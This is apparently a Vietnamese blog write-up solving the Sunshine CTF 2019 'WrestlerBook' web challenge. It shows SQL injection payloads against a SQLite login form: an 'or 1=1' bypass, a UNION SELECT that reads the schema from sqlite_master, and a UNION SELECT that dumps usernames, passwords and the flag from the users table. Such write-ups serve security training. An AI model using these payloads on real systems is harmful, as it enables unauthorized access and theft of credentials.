Sunshine CTF 2019 web solution: WrestlerBook

Link: http://archive.sunshinectf.org:19006/index.html


Lại là form login, điều đầu tiên ta nghĩ đến nên là admin/admin hoặc là lỗi SQLi với form. Ta thử với payload : 1' or 1=1; và ra thông tin về Hulk Hogan

Ta thấy ngay Flag: N/A và đoán được rằng trong database sẽ 1 bảng chứa thông tin các võ sĩ, và sẽ có trường flag trong bảng đó, vấn đề bây giờ là tìm ra được tài khoản thật sự chứa flag.
Quay lại form đăng nhập, tiến hành nhập lỗi cho user/pass thì thấy báo lỗi từ SQLite3 database.

Tiếp tục đếm số cột trong câu truy vấn bằng order by ta biết được có 8 cột, đến đây ta có thể sử dụng kỹ thuật khai thác lỗi basic error SQLi để lấy thông tin:

Username: lnlinh31 Password: ' union SELECT 1, 2, group_concat(name), 4, group_concat(sql), 6, 7, 8 FROM sqlite_master WHERE type = "table";

web trả về kết quả như sau: 

CREATE TABLE `users` ( `username` TEXT, `password` TEXT, `avatar` TEXT, `age` INTEGER, `name` TEXT, `title` TEXT, `flag` TEXT, `id` INTEGER PRIMARY KEY AUTOINCREMENT ),CREATE TABLE sqlite_sequence(name,seq)

Đến đây đã rõ các cột trong bảng users , ta tiến hành dump dữ liệu từ bảng này: 

Username: lnlinh31 Password: ' union SELECT group_concat(username), group_concat(password), group_concat(avatar), group_concat(age), group_concat(name), group_concat(title), group_concat(flag), group_concat(id) FROM users;


Flag: sun{ju57_4n07h3r_5ql1_ch4ll}





Share:

0 nhận xét:

Đăng nhận xét